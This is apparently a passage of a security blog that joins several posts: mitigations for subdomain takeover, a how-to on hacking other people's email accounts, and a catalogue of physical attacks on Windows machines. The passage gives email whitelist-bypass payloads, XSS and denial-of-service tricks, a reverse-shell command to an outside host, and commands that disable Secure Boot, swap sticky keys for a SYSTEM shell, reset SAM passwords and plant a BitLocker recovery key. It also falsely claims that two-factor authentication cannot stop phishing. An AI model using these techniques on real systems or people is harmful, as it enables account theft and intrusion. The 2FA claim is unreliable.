Matthew also demonstrated even higher severity attack where he was able to gain control over nameserver of .IO top-level domain. Gaining control over .IO means controlling responses for all .IO domain names. In this case, one of .IO nameservers were ns-a1.io which was available for registration. By registering ns-a1.io Bryant was able to receive DNS queries and control their responses for all .IO domains.

Mitigation

The mitigation strategies for domain names already vulnerable to subdomain takeover are rather straightforward:

• Remove the affected DNS record — The simplest solution is to remove the affected record from the DNS zone. This step is usually used if the organization concludes that the affected source domain name is no longer needed.

• Claim the domain name — This means registering the resource in particular cloud provider or a case of a regular Internet domain, repurchasing the expired domain.

To prevent subdomain takeover in the future, organizations should change the process of creating and destructing resources in their infrastructure. In case of resource creation, the DNS record creation has to be the last step of this process. This condition prevents DNS record to be pointing to a non-existing domain at any point in time. For resource destruction, the opposite holds: DNS record needs to be removed as the first step in this process. Tools such as aquatone include checks for subdomain takeover. The checks should be periodically performed by a security team of an organization to verify that there are no vulnerable domains. Processes for central collection of exposed domain names are often not efficient inside organizations (due to global teams, etc.) and external monitoring is usually the best way to go.

Mitigation strategy for cloud providers should be considered as well. Cloud services are not verifying the domain ownership. The reason behind this is primarily convenience. Cloud provider is not introducing any vulnerability by not verifying ownership of a source domain name. It is therefore up to the user to monitor its DNS records. Another reason is, that when cloud resource is removed, the user is usually no longer a customer of that service. The question cloud providers then ask themselves is: Why should we even care?

Read More

Email Hacking – Email Hijacking | Emails Vulnerabilities

How to Hack Email Accounts

Have you ever wondered how cybercriminals hack email passwords? At some point, you may have wondered how to hack email accounts just for the sake of preventing your account from getting hacked. There are several techniques that you can explore to hack the password of an email account. No email account is immune to hacking. Here are some practical ways of hacking email accounts.

Email Spoofing

In email spoofing, the spammer sends emails from a known domain, so the receiver thinks that he knows this person and opens the mail. Such mails normally contain suspicious links, doubtful content, requests to transfer money, etc.

Keylogging

Arguably, this is the easiest option for most people who want to learn how to hack email passwords. Keylogging entails recording every keystroke that is typed in by a user on a computer keyboard. You can do so using a spy program known as a Keylogger.

You don’t need special skills to install the program on a computer. Keyloggers also operate in stealth mode, something that makes them hard to detect once installed. If you don’t have physical access to a target computer, there’s no need to worry because some keyloggers offer remote installation.

Keylogging is arguably the most straightforward hacking technique that hackers use to steal sensitive information from victims. Besides email hacking, Keylogging can be used to spy on your target’s text messages, phone calls, and other passwords.

Phishing

This is a more complicated email hacking technique compared to Keylogging. Phishing entails the use of spoofed webpages that are designed to be identical to those of legitimate websites. When carrying out this social engineering hacking technique, phishers typically create fake login pages that resemble Gmail, Yahoo, or other email service providers. Once you attempt to enter your login credentials on the fake login pages, hackers will be able to steal the information right away.

Similarly, phishers can send an email that resembles what Google or Yahoo typically send. Often, such emails contain links to fake login pages, requesting you to update your email account information or change the password. An online persona of someone you know can also be created and used to hoodwink you into providing your email login credentials. To successfully execute a phishing attack, one needs considerable hacking knowledge with prior experience in HTML, scripting languages such as PHP/JSP, and CSS.

In most jurisdictions, phishing is considered a criminal offense. Unfortunately, enabling two-factor authentication for your email accounts can’t help. Therefore you should be vigilant before giving out your email login credentials. Double-check the web address from where the email is emanating before providing your details. If you didn’t request a password change in the first place, ignore suspicious emails that ask you to change the password.

Password Guessing and Resetting

This is another social engineering technique used by email hackers. If you are learning how to hack email accounts, you shouldn’t worry about the password guessing/resetting technique. It’s easier to use this technique to access the mailboxes of people whom you know than strangers. The procedure involves manipulating the target victim’s mind to try and figure out his/her personal information.

Password guessing and resetting require impeccable thinking power and social skills, thus the need to know the intended victim considerably well. Often, hackers who use this technique are close family members, friends, or colleagues. Such individuals have considerable knowledge about you, including your hobbies, birthdate, and other personal details. Therefore, it’s easier for them to figure out your email password, and in particular, the security question.

Inserting Viruses in a User System

A hacker can hijack your email account is by infecting your system with a virus or any other kind of malware. With the help of a virus, a hacker can take all your passwords.

Emails Vulnerabilities

A vulnerability is a weakness that can, at some point, be exploited by cybercriminals. The same goes for email vulnerabilities which can thus be any vulnerability in your email protection system.

Ignored parts of an email

The symbols: +, – and {} in rare occasions can be used for tagging and ignored by most e-mail servers

• E.g. john.doe+intigriti@example.com → john.doe@example.com

Comments between parentheses () at the beginning or the end will also be ignored

• E.g. john.doe(intigriti)@example.com → john.doe@example.com

Whitelist bypass

• inti(;inti@inti.io;)@whitelisted.com
• inti@inti.io(@whitelisted.com)
• inti+(@whitelisted.com;)@inti.io

IPs

You can also use IPs as domain named between square brackets:

• john.doe@[127.0.0.1]
• john.doe@[IPv6:2001:db8::1]

Other vulns

Third party SSO

XSS

Some services like github or salesforce allows you to create an email address with XSS payloads on it. If you can use this providers to login on other services and this services aren’t sanitising correctly the email, you could cause XSS.

Account-Takeover

If a SSO service allows you to create an account without verifying the given email address (like salesforce) and then you can use that account to login in a different service that trusts salesforce, you could access any account. Note that salesforce indicates if the given email was or not verified but so the application should take into account this info.

Reply-To

You can send an email using From: company.com and Replay-To: attacker.com and if any automatic reply is sent due to the email was sent from an internal address the attacker may be able to receive that response.

Hard Bounce Rate

Some applications like AWS have a Hard Bounce Rate (in AWS is 10%), that whenever is overloaded the email service is blocked.A hard bounce is an email that couldn’t be delivered for some permanent reasons.

Maybe the email’s a fake address, maybe the email domain isn’t a real domain, or maybe the email recipient’s server won’t accept emails) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, AWS SES will block your service.So, if you are able to send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.

Myths About How to Hack Email Accounts

In your quest to learn how to hack email passwords, there are several things that you should keep in mind. Lots of websites misguide readers on email hacking techniques. There isn’t a ready-made program for hacking email accounts, except the keylogger. Therefore, you should be wary of websites that purport to sell programs that can help you hack someone else’s email account.

Likewise, you should keep off websites that claim to sell tutorials that can teach you how to hack email passwords. You may even be surprised to learn that some of these websites ask you to provide your email address. This is the precursor to most email hacking incidents. It would be tragic for you to lose your email account in an attempt to hack someone else’s account.

Not everyone who learns how to hack passwords intends to be a cybercriminal. This is a skill worth learning since it puts you in a better position to secure your email account. Email hacking is also a must-have skill for those who want to become ethical hackers. When learning how to hack emails, you shouldn’t forget about securing your own. To secure your users’ emails from hackers, contact nuEduSec for a demo or trial of our cutting edge cloud-based platform that provides protection to students at school, in the classroom and even at home.

Read More

Must Know These Cyber Physical Attacks

About Cyber Physical Attacks

In a physical attack, an attacker gains physical access to a physical asset in the infrastructure system in order to damage it, disable it, steal it, or use it in an undesirable way. … The goal is to produce a security system that has balanced physical protection for all potential adversary scenarios.
Here are some common examples of how physical threat vectors can compromise digital security:

• An infected USB drive is planted in a parking lot, lobby, etc., which an employee picks up and loads onto the network.
• An attacker breaks into a server room and installs rogue devices that capture confidential data.
• The internet drop line is accessible from outside of the building, allowing an attacker to intercept data or cut the line completely.
• An attacker pretends to be an employee and counts on a real employee’s courtesy to hold the door for him as they enter together.
• An inside actor looks over the shoulder of a system engineer as they type administrative credentials into a system.

Some Comman Physical Attacks:-

BIOS password

The battery

Most of the motherbords have a battery. If you remove it 30min the settings of the BIOS will be restarted (password included).

Jumper CMOS

Most of the motherboards have a jumper that can restart the settings. This jumper connects a central pin with another, if you connect thoses pins the motherbord will be reseted.

Live Tools

If you could run for example a Kali Linux from a Live CD/USB you could use tools like killCmos or CmosPWD (this last one is included in Kali) you could try to recover the password of the BIOS.

UEFI Attack

To check the settings of the UEFI and perform some kind of attack you should try chipsec.

Using this tool you could easily disable the Secure Boot:

1

python chipsec_main.py -module exploits.secure.boot.pk

By RAM

Cold boot

The RAM memory is persistent from 1 to 2 minutes from the time the computer is powered off. If you apply cold (liquid nitrogen, for example) on the memory card you can extend this time up to 10 minutes.Then, you can do a memory dump (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory.You should analyze the memory using volatility.

INCEPTION

Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces. Connect your computer to the victim computer over one of those interfaces and INCEPTION will try to patch the pyshical memory to give you access.If INCEPTION succeeds, any password introduced will be vaid.It doesn’t work with Windows10.

Live CD/USB Attacks

Sticky Keys and more

• SETHC:sethc.exe is invoked when SHIFT is pressed 5 times

• UTILMAN:Utilman.exe is invoked by pressing WINDOWS+U

• OSK:osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard

• DISP:DisplaySwitch.exe is invoked by pressing WINDOWS+P

These binaries are located inside C:\Windows\System32. You can change any of them for a copy of the binary cmd.exe (also in the same folder) and any time that you invoke any of those binaries a command prompt as SYSTEM will appear.

Modifying SAM

You can use the tool chntpw to modify the SAM file of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example.

This tool is available in KALI.

1

chntpw -h

2

chntpw -l <path_to_SAM>

Inside a Linux system you could modify the/etc/shadowor/etc/passwdfile.

Kon-Boot

Kon-Boot is one of the best tools around which can log you into Windows without knowing the password. It works by hooking into the system BIOS and temporarily changing the contents of the Windows kernel while booting (new versions work also with UEFI). It then allows you to enter anything as the password during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened.

Read More: https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/

It is a live CD/USB that can patch the memory so you won’t need to know the password to login. Kon-Boot also performs the StickyKeys trick so you could press Shift5 times to get an Administrator cmd.

Running Windows Attacks

Booting shortcuts

• supr – BIOS

• f8 – Recovery mode

• supr – BIOS ini

• f8 – Recovery mode

• Shitf (after the windows banner) – Go to login page instead of autologon (avoid autologon)

BAD USBs

Rubber Ducky

The USB Rubber Ducky injects keystrokes at superhuman speeds, violating the inherent trust computers have in humans by posing as a keyboard.

Teensyduino

The Teensy is a complete USB-based microcontroller development system, in a very small footprint, capable of implementing many types of projects. All programming is done via the USB port.

Volume Shadow Copy

With administrators privileges and powershell you could make a copy of the SAM file.

1

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Bypassing Bitlocker

Bitlocker uses 2 passwords. The one used by the user, and the recovery password (48 digits).If you are lucky and inside the current session of Windows exists the file C:\Windows\MEMORY.DMP (It is a memory dump) you could try to search inside of it the recovery password. You can get this file and a copy of the filesytem and then use Elcomsoft Forensic Disk Decryptor to get the content (this will only work if the password is inside the memory dump). You could also force the memory dump using NotMyFault of Sysinternals, but this will reboot the system and has to be executed as Administrator.

You could also try a bruteforce attack using Passware Kit Forensic.

Social Engineering

Finally, you could make the user add a new recovery password making him executed as administrator:

1

schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f

This will add a new recovery key (composed of 48 zeros) in the next login.To check the valid recovery keys you can execute:

1

manage-bde -protectors -get c:

Read More